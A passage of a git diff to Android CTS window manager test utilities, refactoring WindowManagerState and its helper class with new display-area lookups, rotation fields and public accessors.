+        event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+        event.setDisplayId(displayId);
+        getInstrumentation().getUiAutomation().injectInputEvent(event, sync, waitAnimations);
+    }
+
+    public static void injectKey(int keyCode, boolean longPress, boolean sync) {
+        final long downTime = SystemClock.uptimeMillis();
+        int repeatCount = 0;
+        KeyEvent downEvent =
+                new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN, keyCode, repeatCount);
+        getInstrumentation().getUiAutomation().injectInputEvent(downEvent, sync);
+        if (longPress) {
+            repeatCount += 1;
+            KeyEvent repeatEvent = new KeyEvent(downTime, SystemClock.uptimeMillis(),
+                    KeyEvent.ACTION_DOWN, keyCode, repeatCount);
+            getInstrumentation().getUiAutomation().injectInputEvent(repeatEvent, sync);
+        }
+        KeyEvent upEvent = new KeyEvent(downTime, SystemClock.uptimeMillis(),
+                KeyEvent.ACTION_UP, keyCode, 0 /* repeatCount */);
+        getInstrumentation().getUiAutomation().injectInputEvent(upEvent, sync);
+    }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 91e3359..19c0faf 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -17,14 +17,15 @@
 package android.server.wm;
 
 import static android.app.ActivityTaskManager.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_DREAM;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
-import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.ProtoExtractors.extract;
 import static android.server.wm.StateLogger.log;
@@ -34,9 +35,12 @@
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.app.ActivityTaskManager;
 import android.content.ComponentName;
 import android.content.res.Configuration;
 import android.graphics.Point;
@@ -51,14 +55,15 @@
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 
+import com.android.server.wm.nano.ActivityRecordProto;
 import com.android.server.wm.nano.AppTransitionProto;
+import com.android.server.wm.nano.ConfigurationContainerProto;
 import com.android.server.wm.nano.DisplayAreaProto;
+import com.android.server.wm.nano.DisplayContentProto;
 import com.android.server.wm.nano.DisplayFramesProto;
+import com.android.server.wm.nano.DisplayRotationProto;
 import com.android.server.wm.nano.IdentifierProto;
 import com.android.server.wm.nano.KeyguardControllerProto;
-import com.android.server.wm.nano.ActivityRecordProto;
-import com.android.server.wm.nano.ConfigurationContainerProto;
-import com.android.server.wm.nano.DisplayContentProto;
 import com.android.server.wm.nano.PinnedStackControllerProto;
 import com.android.server.wm.nano.RootWindowContainerProto;
 import com.android.server.wm.nano.TaskProto;
@@ -66,10 +71,10 @@
 import com.android.server.wm.nano.WindowContainerProto;
 import com.android.server.wm.nano.WindowFramesProto;
 import com.android.server.wm.nano.WindowManagerServiceDumpProto;
-import com.android.server.wm.nano.WindowTokenProto;
 import com.android.server.wm.nano.WindowStateAnimatorProto;
 import com.android.server.wm.nano.WindowStateProto;
 import com.android.server.wm.nano.WindowSurfaceControllerProto;
+import com.android.server.wm.nano.WindowTokenProto;
 
 import com.google.protobuf.nano.InvalidProtocolBufferNanoException;
 
@@ -110,6 +115,7 @@
     public static final String TRANSIT_TRANSLUCENT_ACTIVITY_CLOSE =
             "TRANSIT_TRANSLUCENT_ACTIVITY_CLOSE";
     public static final String APP_STATE_IDLE = "APP_STATE_IDLE";
+    public static final String APP_STATE_RUNNING = "APP_STATE_RUNNING";
 
     private static final String DUMPSYS_WINDOW = "dumpsys window -a --proto";
     private static final String STARTING_WINDOW_PREFIX = "Starting ";
@@ -129,7 +135,7 @@
     // Stacks in z-order with the top most at the front of the list, starting with primary display.
     private final List<ActivityTask> mRootTasks = new ArrayList<>();
     // Windows in z-order with the top most at the front of the list.
-    private List<WindowState> mWindowStates = new ArrayList();
+    private final List<WindowState> mWindowStates = new ArrayList<>();
     private KeyguardControllerState mKeyguardControllerState;
     private final List<String> mPendingActivities = new ArrayList<>();
     private int mTopFocusedTaskId = -1;
@@ -143,8 +149,6 @@
     private Rect mDefaultPinnedStackBounds = new Rect();
     private Rect mPinnedStackMovementBounds = new Rect();
     private String mInputMethodWindowAppToken = null;
-    private int mRotation;
-    private int mLastOrientation;
     private boolean mDisplayFrozen;
     private boolean mSanityCheckFocusedWindow = true;
 
@@ -243,12 +247,7 @@
         return TYPE_NAVIGATION_BAR == navState.getType();
     }
 
-    /** Enable/disable the mFocusedWindow check during the computeState.*/
-    void setSanityCheckWithFocusedWindow(boolean sanityCheckFocusedWindow) {
-        mSanityCheckFocusedWindow = sanityCheckFocusedWindow;
-    }
-
-    /**
+/**
      * For a given WindowContainer, traverse down the hierarchy and add all children of type
      * {@code T} to {@code outChildren}.
      */
@@ -289,6 +288,11 @@
         }
     }
 
+    /** Enable/disable the mFocusedWindow check during the computeState.*/
+    void setSanityCheckWithFocusedWindow(boolean sanityCheckFocusedWindow) {
+        mSanityCheckFocusedWindow = sanityCheckFocusedWindow;
+    }
+
     public void computeState() {
         // It is possible the system is in the middle of transition to the right state when we get
         // the dump. We try a few times to get the information we need before giving up.
@@ -371,9 +375,7 @@
         for (int i = 0; i < display.mRootTasks.size(); i++) {
             ActivityTask task = display.mRootTasks.get(i);
             mRootTasks.add(task);
-            if (task.mResumedActivity != null) {
-                mResumedActivitiesInStacks.add(task.mResumedActivity);
-            }
+            addResumedActivity(task);
         }
 
         if (display.mDefaultPinnedStackBounds != null) {
@@ -382,6 +384,17 @@
         }
     }
 
+    private void addResumedActivity(ActivityTask task) {
+        final int numChildTasks = task.mTasks.size();
+        if (numChildTasks > 0) {
+            for (int i = numChildTasks - 1; i >=0; i--) {
+                addResumedActivity(task.mTasks.get(i));
+            }
+        } else if (task.mResumedActivity != null) {
+            mResumedActivitiesInStacks.add(task.mResumedActivity);
+        }
+    }
+
     private void parseSysDumpProto(byte[] sysDump) throws InvalidProtocolBufferNanoException {
         reset();
 
@@ -416,8 +429,6 @@
             mInputMethodWindowAppToken = Integer.toHexString(state.inputMethodWindow.hashCode);
         }
         mDisplayFrozen = state.displayFrozen;
-        mRotation = state.rotation;
-        mLastOrientation = state.lastOrientation;
     }
 
     private void reset() {
@@ -438,8 +449,6 @@
         mDefaultPinnedStackBounds.setEmpty();
         mPinnedStackMovementBounds.setEmpty();
         mInputMethodWindowAppToken = null;
-        mRotation = 0;
-        mLastOrientation = 0;
         mDisplayFrozen = false;
     }
 
@@ -468,15 +477,45 @@
         return null;
     }
 
+    @Nullable
+    DisplayArea getTaskDisplayArea(ComponentName activityName) {
+        final List<DisplayArea> result = new ArrayList<>();
+        for (DisplayContent display : mDisplays) {
+            final DisplayArea tda = display.getTaskDisplayArea(activityName);
+            if (tda != null) {
+                result.add(tda);
+            }
+        }
+        assertWithMessage("There must be exactly one activity among all TaskDisplayAreas.")
+                .that(result.size()).isAtMost(1);
+
+        return result.stream().findFirst().orElse(null);
+    }
+
+    @Nullable
+    DisplayArea getDisplayArea(String windowName) {
+        final List<DisplayArea> result = new ArrayList<>();
+        for (DisplayContent display : mDisplays) {
+            final DisplayArea da = display.getDisplayArea(windowName);
+            if (da != null) {
+                result.add(da);
+            }
+        }
+        assertWithMessage("There must be exactly one window among all DisplayAreas.")
+                .that(result.size()).isAtMost(1);
+
+        return result.stream().findFirst().orElse(null);
+    }
+
     int getFrontRootTaskId(int displayId) {
         return getDisplay(displayId).mRootTasks.get(0).mRootTaskId;
     }
 
-    int getFrontStackActivityType(int displayId) {
+    public int getFrontStackActivityType(int displayId) {
         return getDisplay(displayId).mRootTasks.get(0).getActivityType();
     }
 
-    int getFrontStackWindowingMode(int displayId) {
+    public int getFrontStackWindowingMode(int displayId) {
         return getDisplay(displayId).mRootTasks.get(0).getWindowingMode();
     }
 
@@ -495,25 +534,25 @@
         return mTopFocusedTaskId;
     }
 
-    int getFocusedStackActivityType() {
+    public int getFocusedStackActivityType() {
         final ActivityTask stack = getRootTask(mTopFocusedTaskId);
         return stack != null ? stack.getActivityType() : ACTIVITY_TYPE_UNDEFINED;
     }
 
-    int getFocusedStackWindowingMode() {
+    public int getFocusedStackWindowingMode() {
         final ActivityTask stack = getRootTask(mTopFocusedTaskId);
         return stack != null ? stack.getWindowingMode() : WINDOWING_MODE_UNDEFINED;
     }
 
-    String getFocusedActivity() {
+    public String getFocusedActivity() {
         return mTopResumedActivityRecord;
     }
 
-    int getResumedActivitiesCount() {
+    public int getResumedActivitiesCount() {
         return mResumedActivitiesInStacks.size();
     }
 
-    int getResumedActivitiesCountInPackage(String packageName) {
+    public int getResumedActivitiesCountInPackage(String packageName) {
         final String componentPrefix = packageName + "/";
         int count = 0;
         for (int i = mDisplays.size() - 1; i >= 0; --i) {
@@ -528,7 +567,7 @@
         return count;
     }
 
-    String getResumedActivityOnDisplay(int displayId) {
+    public String getResumedActivityOnDisplay(int displayId) {
         return getDisplay(displayId).mResumedActivity;
     }
 
@@ -536,11 +575,11 @@
         return mKeyguardControllerState;
     }
 
-    boolean containsStack(int windowingMode, int activityType) {
+    public boolean containsStack(int windowingMode, int activityType) {
         return countStacks(windowingMode, activityType) > 0;
     }
 
-    int countStacks(int windowingMode, int activityType) {
+    public int countStacks(int windowingMode, int activityType) {
         int count = 0;
         for (ActivityTask stack : mRootTasks) {
             if (activityType != ACTIVITY_TYPE_UNDEFINED
@@ -556,7 +595,7 @@
         return count;
     }
 
-    ActivityTask getRootTask(int taskId) {
+    public ActivityTask getRootTask(int taskId) {
         for (ActivityTask stack : mRootTasks) {
             if (taskId == stack.mRootTaskId) {
                 return stack;
@@ -565,7 +604,7 @@
         return null;
     }
 
-    ActivityTask getStackByActivityType(int activityType) {
+    public ActivityTask getStackByActivityType(int activityType) {
         for (ActivityTask stack : mRootTasks) {
             if (activityType == stack.getActivityType()) {
                 return stack;
@@ -574,7 +613,7 @@
         return null;
     }
 
-    ActivityTask getStandardStackByWindowingMode(int windowingMode) {
+    public ActivityTask getStandardStackByWindowingMode(int windowingMode) {
         for (ActivityTask stack : mRootTasks) {
             if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
                 continue;
@@ -623,7 +662,7 @@
     }
 
     /** Get display id by activity on it. */
-    int getDisplayByActivity(ComponentName activityComponent) {
+    public int getDisplayByActivity(ComponentName activityComponent) {
         final ActivityTask task = getTaskByActivity(activityComponent);
         if (task == null) {
             return -1;
@@ -639,11 +678,11 @@
         return new ArrayList<>(mRootTasks);
     }
 
-    int getStackCount() {
+    public int getStackCount() {
         return mRootTasks.size();
     }
 
-    int getDisplayCount() {
+    public int getDisplayCount() {
         return mDisplays.size();
     }
 
@@ -663,7 +702,7 @@
         return true;
     }
 
-    boolean containsActivityInWindowingMode(ComponentName activityName, int windowingMode) {
+    public boolean containsActivityInWindowingMode(ComponentName activityName, int windowingMode) {
         for (ActivityTask stack : mRootTasks) {
             final Activity activity = stack.getActivity(activityName);
             if (activity != null && activity.getWindowingMode() == windowingMode) {
@@ -673,7 +712,7 @@
         return false;
     }
 
-    boolean isActivityVisible(ComponentName activityName) {
+    public boolean isActivityVisible(ComponentName activityName) {
         for (ActivityTask stack : mRootTasks) {
             final Activity activity = stack.getActivity(activityName);
             if (activity != null) return activity.visible;
@@ -681,7 +720,7 @@
         return false;
     }
 
-    boolean isActivityTranslucent(ComponentName activityName) {
+    public boolean isActivityTranslucent(ComponentName activityName) {
         for (ActivityTask stack : mRootTasks) {
             final Activity activity = stack.getActivity(activityName);
             if (activity != null) return activity.translucent;
@@ -689,7 +728,7 @@
         return false;
     }
 
-    boolean isBehindOpaqueActivities(ComponentName activityName) {
+    public boolean isBehindOpaqueActivities(ComponentName activityName) {
         final String fullName = getActivityName(activityName);
         for (ActivityTask stack : mRootTasks) {
             final Activity activity =
@@ -707,7 +746,7 @@
         return false;
     }
 
-    boolean containsStartedActivities() {
+    public boolean containsStartedActivities() {
         for (ActivityTask stack : mRootTasks) {
             final Activity activity = stack.getActivity(
                     (a) -> !a.state.equals(STATE_STOPPED) && !a.state.equals(STATE_DESTROYED));
@@ -745,6 +784,14 @@
         return ComponentName.unflattenFromString(activity.name);
     }
 
+    ActivityTask getDreamTask() {
+        final ActivityTask dreamStack = getStackByActivityType(ACTIVITY_TYPE_DREAM);
+        if (dreamStack != null) {
+            return dreamStack.getTopTask();
+        }
+        return null;
+    }
+
     ActivityTask getHomeTask() {
         final ActivityTask homeStack = getStackByActivityType(ACTIVITY_TYPE_HOME);
         if (homeStack != null) {
@@ -778,14 +825,19 @@
     }
 
     public ActivityTask getTaskByActivity(ComponentName activityName) {
-        return getTaskByActivity(activityName, WINDOWING_MODE_UNDEFINED);
+        return getTaskByActivity(activityName, WINDOWING_MODE_UNDEFINED, -1);
     }
 
-    ActivityTask getTaskByActivity(ComponentName activityName, int windowingMode) {
+    public ActivityTask getTaskByActivity(ComponentName activityName, int excludeTaskId) {
+        return getTaskByActivity(activityName, WINDOWING_MODE_UNDEFINED, excludeTaskId);
+    }
+
+    private ActivityTask getTaskByActivity(ComponentName activityName, int windowingMode,
+            int excludeTaskId) {
         for (ActivityTask stack : mRootTasks) {
             if (windowingMode == WINDOWING_MODE_UNDEFINED
                     || windowingMode == stack.getWindowingMode()) {
-                Activity activity = stack.getActivity(activityName);
+                Activity activity = stack.getActivity(activityName, excludeTaskId);
                 if (activity != null) return activity.task;
             }
         }
@@ -876,6 +928,10 @@
                 .collect(Collectors.toList());
     }
 
+    List<WindowState> getWindows() {
+        return new ArrayList<>(mWindowStates);
+    }
+
     List<WindowState> getMatchingWindowType(int type) {
         return getMatchingWindows(ws -> type == ws.mType).collect(Collectors.toList());
     }
@@ -928,7 +984,7 @@
     }
 
     /** Check if at least one window which matches the specified name has shown it's surface. */
-    boolean isWindowSurfaceShown(String windowName) {
+    public boolean isWindowSurfaceShown(String windowName) {
         for (WindowState window : mWindowStates) {
             if (window.getName().equals(windowName)) {
                 if (window.isSurfaceShown()) {
@@ -940,7 +996,7 @@
     }
 
     /** Check if at least one window which matches provided window name is visible. */
-    boolean isWindowVisible(String windowName) {
+    public boolean isWindowVisible(String windowName) {
         for (WindowState window : mWindowStates) {
             if (window.getName().equals(windowName)) {
                 if (window.isVisible()) {
@@ -951,7 +1007,7 @@
         return false;
     }
 
-    boolean allWindowSurfacesShown(String windowName) {
+    public boolean allWindowSurfacesShown(String windowName) {
         boolean allShown = false;
         for (WindowState window : mWindowStates) {
             if (window.getName().equals(windowName)) {
@@ -1001,10 +1057,6 @@
         return null;
     }
 
-    Rect getStableBounds() {
-        return getDisplay(DEFAULT_DISPLAY).mStableBounds;
-    }
-
     WindowManagerState.WindowState getInputMethodWindowState() {
         return getWindowStateForAppToken(mInputMethodWindowAppToken);
     }
@@ -1014,14 +1066,14 @@
     }
 
     public int getRotation() {
-        return mRotation;
+        return getDisplay(DEFAULT_DISPLAY).mRotation;
     }
 
-    int getLastOrientation() {
-        return mLastOrientation;
+    public int getLastOrientation() {
+        return getDisplay(DEFAULT_DISPLAY).mLastOrientation;
     }
 
-    int getFocusedDisplayId() {
+    public int getFocusedDisplayId() {
         return mFocusedDisplayId;
     }
 
@@ -1038,15 +1090,19 @@
         private Rect mAppRect = new Rect();
         private int mDpi;
         private int mFlags;
-        private Rect mStableBounds;
         private String mName;
         private int mSurfaceSize;
         private String mFocusedApp;
         private String mLastTransition;
         private String mAppTransitionState;
+        private int mRotation;
+        private boolean mFrozenToUserRotation;
+        private int mUserRotation;
+        private int mFixedToUserRotationMode;
+        private int mLastOrientation;
 
         DisplayContent(DisplayContentProto proto) {
-            super(proto.windowContainer);
+            super(proto.rootDisplayArea.windowContainer);
             mId = proto.id;
             mFocusedRootTaskId = proto.focusedRootTaskId;
             mSingleTaskInstance = proto.singleTaskInstance;
@@ -1064,9 +1120,6 @@
                 mFlags = infoProto.flags;
             }
             final DisplayFramesProto displayFramesProto = proto.displayFrames;
-            if (displayFramesProto != null) {
-                mStableBounds = extract(displayFramesProto.stableBounds);
-            }
             mSurfaceSize = proto.surfaceSize;
             mFocusedApp = proto.focusedApp;
 
@@ -1086,6 +1139,18 @@
                 mPinnedStackMovementBounds = extract(pinnedStackProto.movementBounds);
             }
 
+            final DisplayRotationProto rotationProto = proto.displayRotation;
+            if (rotationProto != null) {
+                mRotation = rotationProto.rotation;
+                mFrozenToUserRotation = rotationProto.frozenToUserRotation;
+                mUserRotation = rotationProto.userRotation;
+                mFixedToUserRotationMode = rotationProto.fixedToUserRotationMode;
+                mLastOrientation = rotationProto.lastOrientation;
+            }
+        }
+
+        public String getName() {
+            return mName;
         }
 
         private void addRootTasks() {
@@ -1103,10 +1168,15 @@
                 }
             }
             // Add root tasks controlled by an organizer
-            for (int i = rootOrganizedTasks.size() -1; i >= 0; --i) {
-                final ActivityTask task = rootOrganizedTasks.get(i);
-                for (int j = task.mChildren.size() - 1; j >= 0; j--) {
-                    mRootTasks.add((ActivityTask) task.mChildren.get(j));
+            while (rootOrganizedTasks.size() > 0) {
+                final ActivityTask task = rootOrganizedTasks.remove(0);
+                for (int i = task.mChildren.size() - 1; i >= 0; i--) {
+                    final ActivityTask child = (ActivityTask) task.mChildren.get(i);
+                    if (!child.mCreatedByOrganizer) {
+                        mRootTasks.add(child);
+                    } else {
+                        rootOrganizedTasks.add(child);
+                    }
                 }
             }
         }
@@ -1118,6 +1188,40 @@
             return false;
         }
 
+        @Nullable
+        DisplayArea getTaskDisplayArea(ComponentName activityName) {
+            List<DisplayArea> taskDisplayAreas = new ArrayList<>();
+            collectDescendantsOfTypeIf(DisplayArea.class, DisplayArea::isTaskDisplayArea, this,
+                    taskDisplayAreas);
+            List<DisplayArea> result = taskDisplayAreas.stream().filter(
+                    tda -> tda.containsActivity(activityName))
+                    .collect(Collectors.toList());
+
+            assertWithMessage("There must be exactly one activity among all TaskDisplayAreas.")
+                    .that(result.size()).isAtMost(1);
+
+            return result.stream().findFirst().orElse(null);
+        }
+
+        @Nullable
+        DisplayArea getDisplayArea(String windowName) {
+            List<DisplayArea> displayAreas = new ArrayList<>();
+            final Predicate<DisplayArea> p = da -> {
+                final boolean containsChildWindowToken = !da.mChildren.isEmpty()
+                        && da.mChildren.get(0) instanceof WindowToken;
+                return !da.isTaskDisplayArea() && containsChildWindowToken;
+            };
+            collectDescendantsOfTypeIf(DisplayArea.class, p, this, displayAreas);
+            List<DisplayArea> result = displayAreas.stream().filter(
+                    da -> da.containsWindow(windowName))
+                    .collect(Collectors.toList());
+
+            assertWithMessage("There must be exactly one window among all DisplayAreas.")
+                    .that(result.size()).isAtMost(1);
+
+            return result.stream().findFirst().orElse(null);
+        }
+
         ArrayList<ActivityTask> getRootTasks() {
             return mRootTasks;
         }
@@ -1130,14 +1234,6 @@
             return mDisplayRect;
         }
 
-        Rect getStableBounds() {
-            return mStableBounds;
-        }
-
-        String getName() {
-            return mName;
-        }
-
         int getFlags() {
             return mFlags;
         }
@@ -1178,6 +1274,7 @@
         private int mSurfaceWidth;
         private int mSurfaceHeight;
         boolean mCreatedByOrganizer;
+        String mAffinity;
 
         ActivityTask(TaskProto proto) {
             super(proto.windowContainer);
@@ -1197,6 +1294,7 @@
             mSurfaceWidth = proto.surfaceWidth;
             mSurfaceHeight = proto.surfaceHeight;
             mCreatedByOrganizer = proto.createdByOrganizer;
+            mAffinity = proto.affinity;
 
             if (proto.resumedActivity != null) {
                 mResumedActivity = proto.resumedActivity.title;
@@ -1221,6 +1319,10 @@
             return mTaskId == mRootTaskId;
         }
 
+        boolean isLeafTask() {
+            return mTasks.size() == 0;
+        }
+
         public int getRootTaskId() {
             return mRootTaskId;
         }
@@ -1281,11 +1383,18 @@
             return null;
         }
 
-        Activity getActivity(ComponentName activityName) {
+        public Activity getActivity(ComponentName activityName) {
             final String fullName = getActivityName(activityName);
             return getActivity((activity) -> activity.name.equals(fullName));
         }
 
+        public Activity getActivity(ComponentName activityName, int excludeTaskId) {
+            final String fullName = getActivityName(activityName);
+            return getActivity((activity) ->
+                    activity.task.mTaskId != excludeTaskId
+                            && activity.name.equals(fullName));
+        }
+
         boolean containsActivity(ComponentName activityName) {
             return getActivity(activityName) != null;
         }
@@ -1406,7 +1515,7 @@
             return windowingMode == requestedWindowingMode;
         }
 
-        int getWindowingMode() {
+        public int getWindowingMode() {
             if (mFullConfiguration == null) {
                 return WINDOWING_MODE_UNDEFINED;
             }
@@ -1427,8 +1536,45 @@
         }
     }
     public static class DisplayArea extends WindowContainer {
+        private final boolean mIsTaskDisplayArea;
+        private ArrayList<Activity> mActivities;
+        private final ArrayList<WindowState> mWindows = new ArrayList<>();
+
         DisplayArea(DisplayAreaProto proto) {
             super(proto.windowContainer);
+            mIsTaskDisplayArea = proto.isTaskDisplayArea;
+            if (mIsTaskDisplayArea) {
+                mActivities = new ArrayList<>();
+                collectDescendantsOfType(Activity.class, this, mActivities);
+            }
+            collectDescendantsOfType(WindowState.class, this, mWindows);
+        }
+
+        boolean isTaskDisplayArea() {
+            return mIsTaskDisplayArea;
+        }
+
+        boolean containsActivity(ComponentName activityName) {
+            if (!mIsTaskDisplayArea) {
+                return false;
+            }
+
+            final String fullName = getActivityName(activityName);
+            for (Activity a : mActivities) {
+                if (a.name.equals(fullName)) {
+                    return true;
+                }
+            }
+            return false;
+        }
+
+        boolean containsWindow(String windowName) {
+            for (WindowState w : mWindows) {
+                if (w.mName.equals(windowName)) {
+                    return true;
+                }
+            }
+            return false;
         }
     }
     public static class WindowToken extends WindowContainer {
@@ -1482,6 +1628,8 @@
 
     static abstract class WindowContainer extends ConfigurationContainer {
 
+        protected String mName;
+        protected final String mAppToken;
         protected boolean mFullscreen;
         protected Rect mBounds;
         protected int mOrientation;
@@ -1491,6 +1639,9 @@
 
         WindowContainer(WindowContainerProto proto) {
             super(proto.configurationContainer);
+            IdentifierProto identifierProto = proto.identifier;
+            mName = identifierProto.title;
+            mAppToken = Integer.toHexString(identifierProto.hashCode);
             mOrientation = proto.orientation;
             for (int i = 0; i < proto.children.length; i++) {
                 final WindowContainer child = getWindowContainer(proto.children[i], this);
@@ -1501,6 +1652,15 @@
             mVisible = proto.visible;
         }
 
+        @NonNull
+        public String getName() {
+            return mName;
+        }
+
+        String getToken() {
+            return mAppToken;
+        }
+
         Rect getBounds() {
             return mBounds;
         }
@@ -1525,8 +1685,6 @@
         private static final int WINDOW_TYPE_EXITING = 2;
         private static final int WINDOW_TYPE_DEBUGGER = 3;
 
-        private String mName;
-        private final String mAppToken;
         private final int mWindowType;
         private int mType = 0;
         private int mDisplayId;
@@ -1535,18 +1693,13 @@
         private boolean mShown;
         private Rect mContainingFrame;
         private Rect mParentFrame;
-        private Rect mContentFrame;
         private Rect mFrame;
         private Rect mSurfaceInsets = new Rect();
-        private Rect mContentInsets = new Rect();
         private Rect mGivenContentInsets = new Rect();
         private Rect mCrop = new Rect();
 
         WindowState(WindowStateProto proto) {
             super(proto.windowContainer);
-            IdentifierProto identifierProto = proto.identifier;
-            mName = identifierProto.title;
-            mAppToken = Integer.toHexString(identifierProto.hashCode);
             mDisplayId = proto.displayId;
             mStackId = proto.stackId;
             if (proto.attributes != null) {
@@ -1567,8 +1720,6 @@
                 mFrame = extract(windowFramesProto.frame);
                 mContainingFrame = extract(windowFramesProto.containingFrame);
                 mParentFrame = extract(windowFramesProto.parentFrame);
-                mContentFrame = extract(windowFramesProto.contentFrame);
-                mContentInsets = extract(windowFramesProto.contentInsets);
             }
             mSurfaceInsets = extract(proto.surfaceInsets);
             if (mName.startsWith(STARTING_WINDOW_PREFIX)) {
@@ -1586,15 +1737,6 @@
             collectDescendantsOfType(WindowState.class, this, mSubWindows);
         }
 
-        @NonNull
-        public String getName() {
-            return mName;
-        }
-
-        String getToken() {
-            return mAppToken;
-        }
-
         boolean isStartingWindow() {
             return mWindowType == WINDOW_TYPE_STARTING;
         }
@@ -1627,18 +1769,10 @@
             return mSurfaceInsets;
         }
 
-        Rect getContentInsets() {
-            return mContentInsets;
-        }
-
         Rect getGivenContentInsets() {
             return mGivenContentInsets;
         }
 
-        public Rect getContentFrame() {
-            return mContentFrame;
-        }
-
         Rect getParentFrame() {
             return mParentFrame;
         }
@@ -1675,6 +1809,11 @@
                     + getWindowTypeSuffix(mWindowType) + "}" + " type=" + mType
                     + " cf=" + mContainingFrame + " pf=" + mParentFrame;
         }
+
+        public String toLongString() {
+            return toString() + " f=" + mFrame + " crop=" + mCrop + " isSurfaceShown="
+                    + isSurfaceShown();
+        }
     }
 
     static int dpToPx(float dp, int densityDpi) {
@@ -1684,4 +1823,9 @@
     int defaultMinimalTaskSize(int displayId) {
         return dpToPx(DEFAULT_RESIZABLE_TASK_SIZE_DP, getDisplay(displayId).getDpi());
     }
+
+    int defaultMinimalDisplaySizeForSplitScreen(int displayId) {
+        return dpToPx(ActivityTaskManager.DEFAULT_MINIMAL_SPLIT_SCREEN_DISPLAY_SIZE_DP,
+                getDisplay(displayId).getDpi());
+    }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index e530dd4..014cadd 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -46,14 +46,16 @@
 
 import java.util.Arrays;
 import java.util.List;
+import java.util.Objects;
 import java.util.function.Consumer;
+import java.util.function.Function;
 import java.util.function.Predicate;
 
 /** Window Manager State helper class with assert and wait functions. */
 public class WindowManagerStateHelper extends WindowManagerState {
 
     /**
-     * Compute AM and WM state of device, check sanity and bounds.
+     * Compute AM and WM state of device, check validity and bounds.
      * WM state will include only visible windows, stack and task bounds will be compared.
      *
      * @param componentNames array of activity names to wait for.
@@ -65,7 +67,7 @@
     }
 
     /**
-     * Compute AM and WM state of device, check sanity and bounds.
+     * Compute AM and WM state of device, check validity and bounds.
      * WM state will include only visible windows, stack and task bounds will be compared.
      *
      * @param waitForActivitiesVisible array of activity names to wait for.
@@ -90,12 +92,12 @@
      * Wait for the activities to appear in proper stacks and for valid state in AM and WM.
      * @param waitForActivitiesVisible  array of activity states to wait for.
      */
-    void waitForValidState(WaitForValidActivityState... waitForActivitiesVisible) {
+    public void waitForValidState(WaitForValidActivityState... waitForActivitiesVisible) {
         if (!Condition.waitFor("valid stacks and activities states", () -> {
             // TODO: Get state of AM and WM at the same time to avoid mismatches caused by
             // requesting dump in some intermediate state.
             computeState();
-            return !(shouldWaitForSanityCheck()
+            return !(shouldWaitForValidityCheck()
                     || shouldWaitForValidStacks()
                     || shouldWaitForActivities(waitForActivitiesVisible)
                     || shouldWaitForWindows());
@@ -104,7 +106,7 @@
         }
     }
 
-    void waitForAllStoppedActivities() {
+    public void waitForAllStoppedActivities() {
         if (!Condition.waitFor("all started activities have been removed", () -> {
             computeState();
             return !containsStartedActivities();
@@ -121,7 +123,7 @@
      * waiting-for-debugger window, but real activity window won't show up since we're waiting
      * for debugger.
      */
-    void waitForDebuggerWindowVisible(ComponentName activityName) {
+    public void waitForDebuggerWindowVisible(ComponentName activityName) {
         Condition.waitFor("debugger window", () -> {
             computeState();
             return !shouldWaitForDebuggerWindow(activityName)
@@ -129,7 +131,7 @@
         });
     }
 
-    void waitForHomeActivityVisible() {
+    public void waitForHomeActivityVisible() {
         ComponentName homeActivity = getHomeActivityName();
         // Sometimes this function is called before we know what Home Activity is
         if (homeActivity == null) {
@@ -142,7 +144,7 @@
     }
 
     /** @return {@code true} if the recents is visible; {@code false} if timeout occurs. */
-    boolean waitForRecentsActivityVisible() {
+    public boolean waitForRecentsActivityVisible() {
         if (isHomeRecentsComponent()) {
             waitForHomeActivityVisible();
             return true;
@@ -152,28 +154,33 @@
         }
     }
 
-    void waitForKeyguardShowingAndNotOccluded() {
+    public void waitForDreamGone() {
+        assertTrue("Dream must be gone",
+                waitForWithAmState(state -> state.getDreamTask() == null, "DreamActivity gone"));
+    }
+
+    public void waitForKeyguardShowingAndNotOccluded() {
         waitForWithAmState(state -> state.getKeyguardControllerState().keyguardShowing
                         && !state.getKeyguardControllerState().isKeyguardOccluded(DEFAULT_DISPLAY),
                 "Keyguard showing");
     }
 
-    void waitForKeyguardShowingAndOccluded() {
+    public void waitForKeyguardShowingAndOccluded() {
         waitForWithAmState(state -> state.getKeyguardControllerState().keyguardShowing
                         && state.getKeyguardControllerState().isKeyguardOccluded(DEFAULT_DISPLAY),
                 "Keyguard showing and occluded");
     }
 
-    void waitForAodShowing() {
+    public void waitForAodShowing() {
         waitForWithAmState(state -> state.getKeyguardControllerState().aodShowing, "AOD showing");
     }
 
-    void waitForKeyguardGone() {
+    public void waitForKeyguardGone() {
